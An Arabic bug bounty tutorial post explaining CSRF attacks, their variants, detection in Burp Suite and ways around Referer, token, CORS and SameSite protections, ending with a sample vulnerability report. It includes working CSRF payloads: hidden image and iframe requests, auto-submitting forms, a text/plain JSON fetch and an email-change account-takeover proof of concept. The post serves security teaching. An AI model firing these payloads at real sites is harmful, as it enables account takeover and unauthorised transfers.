ثغرات CSRF: الدليل الشامل من الفهم إلى الاستغلال والمكافأة
4 أكتوبر 2026 · بواسطة Pentevo
CSRF (Cross-Site Request Forgery) هي ثغرة تُجبر متصفح الضحية على إرسال طلب HTTP لتطبيق تكون الضحية مُسجّلة دخولها فيه — دون علمها أو موافقتها.
تخيّل: الضحية مُسجّلة في موقع بنكها. تفتح رابطًا أرسلته لها. في الخلفية، الصفحة تُرسل طلبًا باسمها لتحويل مبلغ من حسابها. لم تضغط شيئًا — الـ Browser أرسل الطلب تلقائيًا مع الـ Cookies.
كيف تعمل CSRF
المتطلبات الثلاثة:
- الضحية مُسجّلة الدخول في التطبيق المستهدف
- التطبيق يعتمد فقط على الـ Cookies للمصادقة (بلا CSRF token)
- الضحية تزور صفحة المهاجم (أو تفتح رابطًا)
مثال بسيط:
<!-- صفحة المهاجم -->
<img src="https://bank.example.com/transfer?amount=1000&to=attacker_account"
width="0" height="0">
عندما يفتح المتصفح هذه الصفحة، يُرسل GET request لـ bank.example.com مع Cookies الضحية تلقائيًا.
أنواع CSRF
1. GET-based CSRF
<img src="https://example.com/change-email?email=attacker@evil.com">
<iframe src="https://example.com/delete-account?confirm=yes"></iframe>
2. POST-based CSRF
<form id="csrf-form" action="https://example.com/transfer" method="POST">
<input type="hidden" name="amount" value="5000">
<input type="hidden" name="to" value="attacker">
</form>
<script>document.getElementById('csrf-form').submit();</script>
3. JSON CSRF
<script>
fetch('https://api.example.com/update-profile', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'text/plain'}, // تجنب CORS preflight
body: '{"email":"attacker@evil.com"}'
});
</script>
كيف تكتشف CSRF
الخطوة 1: ابحث عن إجراءات حساسة
- تغيير البريد الإلكتروني أو كلمة المرور
- تحويل أموال أو نقاط
- حذف الحساب أو البيانات
- تغيير الإعدادات الأمنية (MFA، sessions)
- إضافة Admin أو مستخدمين
الخطوة 2: تحقق من غياب CSRF Protection
في Burp Suite، التقط الـ Request وابحث عن:
csrf_tokenفي الـ form fieldsX-CSRF-Tokenفي الـ headersSameSite=Strictفي الـ cookies
إذا لم تجد أيًا منها = CSRF مرشّح.
الخطوة 3: اختبر الحذف
# في Burp Repeater، احذف الـ CSRF token وأعد الإرسال
# إذا نجح الطلب بدون token = CSRF confirmed
تقنيات Bypass لحمايات CSRF
تجاوز Referer Check
# بعض التطبيقات تتحقق من Referer Header فقط
# جرّب إرسال طلب بلا Referer header:
Referer:
# أو referer يحتوي domain الهدف كـ subdomain:
# ضع صفحتك على: https://bank.example.com.evil.com/attack
تجاوز Token ضعيف
# إذا كان الـ CSRF token قابلًا للتخمين (timestamp-based)
import time
token = str(int(time.time())) # token = UNIX timestamp
CSRF عبر CORS Misconfiguration
// إذا كان الـ API يقبل Origin: null
fetch('https://api.example.com/admin', {
method: 'POST',
credentials: 'include',
// الطلب من iframe sandbox يُرسل Origin: null
})
SameSite Bypass عبر Subdomain
# إذا كان subdomain.example.com مخترقًا
# يمكن إرسال CSRF request لـ example.com
# لأن SameSite=Lax يسمح للـ Subdomains
مثال تقرير CSRF كامل
Title: CSRF in POST /settings/change-email allows account takeover
Summary:
The email change endpoint lacks CSRF protection. An attacker can create
a malicious page that silently changes the victim's email address,
then use "Forgot Password" to take over the account.
Impact:
Full account takeover for any authenticated user who visits the
attacker's page. No user interaction required beyond visiting a link.
Steps to Reproduce:
1. Log in as victim to example.com
2. Open attacker's page (see PoC below) in the same browser
3. Victim's email is silently changed to attacker@evil.com
4. Attacker uses "Forgot Password" with attacker@evil.com
5. Full account takeover achieved
PoC HTML:
<form action="https://example.com/settings/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.forms[0].submit();</script>
Severity: High (Account Takeover via CSRF)
الخلاصة
CSRF في إجراءات حساسة (تغيير بيانات الحساب، الدفع، حذف المحتوى) لا تزال ثغرة ذات قيمة عالية. تحقق دائمًا من غياب الـ CSRF token في كل طلب يُعدّل حالة الخادم (POST/PUT/DELETE). والأهم: أثبت التأثير الكامل — CSRF + Account Takeover chain تضاعف قيمة التقرير.
الأسئلة الشائعة
هل CSRF لا تزال ثغرة مكافأة في 2026؟
نعم في حالات محددة. CSRF في إجراءات حساسة (تغيير البريد الإلكتروني، كلمة المرور، الدفع) لا تزال تُدفع عليها مكافآت جيدة. CSRF في إجراءات منخفضة الأثر تُقبل كـ Low فقط.
ما الفرق بين CSRF وXSS؟
XSS تُنفّذ JavaScript في متصفح الضحية. CSRF تُجبر متصفح الضحية على إرسال طلب HTTP غير مقصود. XSS أخطر عمومًا، لكن CSRF يمكن أن تؤدي لعمليات كارثية كتحويل الأموال.
هل SameSite Cookies تقضي على CSRF؟
تقريبًا لكن ليس تمامًا. SameSite=Strict وLax تحمي بشكل كبير، لكن هناك حالات Edge Cases لا تزال قابلة للاستغلال، خاصةً في subdomain attacks والـ CORS misconfigurations.
مقالات ذات صلة
اختبار اختراق APIs: الدليل العملي لـ Bug Bounty في 2026
كيف تختبر REST APIs وGraphQL وgRPC في Bug Bounty: منهجية شاملة من Fuzzing الـ Endpoints إلى IDOR وBroken Authentication وInjection.
bug-bountyكيف تكتب Writeup Bug Bounty يجذب القراء ويعزز سمعتك
دليل كتابة Writeups احترافية لثغرات Bug Bounty: البنية الصحيحة، كيف تقدّم الثغرة بإبداع، ولماذا Writeups تُضاعف دخلك وفرص عملك.
bug-bountyشرح Bugcrowd للمبتدئين: كيف تبدأ وتختار البرنامج الصحيح
دليل شامل لمنصة Bugcrowd: التسجيل، الفرق عن HackerOne، أفضل البرامج للمبتدئين، نظام Trust وPoints، وكيف تستفيد من Crowdstream.
bug-bountyثغرات Command Injection: من الاكتشاف إلى RCE الكامل
دليل شامل لثغرات OS Command Injection: كيف تعمل، أين تظهر، Payloads عملية، تقنيات Out-of-Band Detection، وكيف توثّقها في Bug Bounty.
طبّق هذا عمليًا
أكاديمية Pentevo تحوّل هذه المفاهيم إلى دروس موجّهة وفيديوهات واختبارات — مجانًا.
ابدأ التعلّم مجانًا